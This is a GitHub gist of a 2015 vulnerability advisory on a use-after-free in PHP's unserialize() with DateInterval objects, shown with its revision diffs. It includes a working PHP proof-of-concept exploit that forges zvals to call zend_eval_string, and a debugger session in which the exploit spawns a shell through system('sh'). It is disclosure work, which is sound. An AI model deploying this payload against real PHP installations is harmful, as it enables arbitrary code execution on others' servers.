Skip to content

Instantly share code, notes, and snippets.

@chtg
Last active October 1, 2024 08:15
Show Gist options
  • Select an option

  • Save chtg/597360ca0a56fedc5efe to your computer and use it in GitHub Desktop.

Select an option

Save chtg/597360ca0a56fedc5efe to your computer and use it in GitHub Desktop.

Revisions

  1. chtg revised this gist Mar 20, 2015. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion gistfile1.md
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    #Use After Free Vulnerability in unserialize() with DateInterval

    Taoguang Chen <[@chtg](https://github.com/chtg)> - Write Date: 2015.2.28 - Release Date: 2015.3.28
    Taoguang Chen <[@chtg](https://github.com/chtg)> - Write Date: 2015.2.28 - Release Date: 2015.3.20

    > A use-after-free vulnerability was discovered in unserialize() with DateInterval object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
  2. chtg revised this gist Feb 28, 2015. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion gistfile1.md
    Original file line number Diff line number Diff line change
    @@ -8,7 +8,8 @@ Affected Versions
    ------------
    Affected is PHP 5.6 < 5.6.7
    Affected is PHP 5.5 < 5.5.23
    Affected is PHP 5.4 < 5.4.39
    Affected is PHP 5.4 < 5.4.39
    Affected is PHP 5.3 <= 5.3.29

    Credits
    ------------
  3. chtg created this gist Feb 28, 2015.
    123 changes: 123 additions & 0 deletions gistfile1.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,123 @@
    #Use After Free Vulnerability in unserialize() with DateInterval

    Taoguang Chen <[@chtg](https://github.com/chtg)> - Write Date: 2015.2.28 - Release Date: 2015.3.28

    > A use-after-free vulnerability was discovered in unserialize() with DateInterval object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
    Affected Versions
    ------------
    Affected is PHP 5.6 < 5.6.7
    Affected is PHP 5.5 < 5.5.23
    Affected is PHP 5.4 < 5.4.39

    Credits
    ------------
    This vulnerability was disclosed by Taoguang Chen.

    Description
    ------------

    ```
    static int php_date_interval_initialize_from_hash(zval **return_value, php_interval_obj **intobj, HashTable *myht TSRMLS_DC)
    {
    (*intobj)->diff = timelib_rel_time_ctor();
    #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
    do { \
    zval **z_arg = NULL; \
    if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
    convert_to_long(*z_arg); \
    (*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
    } else { \
    (*intobj)->diff->member = (itype)def; \
    } \
    } while (0);
    #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
    do { \
    zval **z_arg = NULL; \
    if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
    convert_to_string(*z_arg); \
    DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
    } else { \
    (*intobj)->diff->member = -1LL; \
    } \
    } while (0);
    ```

    The convert_to_long()\convert_to_string() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

    Proof of Concept Exploit
    ------------
    The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

    ```
    <?php
    $f = $argv[1];
    $c = $argv[2];
    $fakezval1 = ptr2str(0x100b83008);
    $fakezval1 .= ptr2str(0x8);
    $fakezval1 .= "\x00\x00\x00\x00";
    $fakezval1 .= "\x06";
    $fakezval1 .= "\x00";
    $fakezval1 .= "\x00\x00";
    $data1 = 'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:5;}}';
    $x = unserialize($data1);
    $y = $x[2];
    // zend_eval_string()'s address
    $y[0][0] = "\x6d";
    $y[0][1] = "\x1e";
    $y[0][2] = "\x35";
    $y[0][3] = "\x00";
    $y[0][4] = "\x01";
    $y[0][5] = "\x00";
    $y[0][6] = "\x00";
    $y[0][7] = "\x00";
    $fakezval2 = ptr2str(0x3b296324286624); // $f($c);
    $fakezval2 .= ptr2str(0x100b83000);
    $fakezval2 .= "\x00\x00\x00\x00";
    $fakezval2 .= "\x05";
    $fakezval2 .= "\x00";
    $fakezval2 .= "\x00\x00";
    $data2 = 'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateInterval":1:{s:1:"y";a:1:{i:0;R:5;}}}';
    $z = unserialize($data2);
    function ptr2str($ptr)
    {
    $out = "";
    for ($i=0; $i<8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
    }
    return $out;
    }
    ?>
    ```

    Test the PoC on the command line, then any PHP code can be executed:

    ```
    $ lldb php
    (lldb) target create "php"
    Current executable set to 'php' (x86_64).
    (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
    Process 13472 launched: '/usr/bin/php' (x86_64)
    sh: no job control in this shell
    sh-3.2$ php -v
    PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)
    Copyright (c) 1997-2014 The PHP Group
    Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    sh-3.2$ exit
    exit
    Process 13472 exited with status = 0 (0x00000000)
    (lldb)
    ```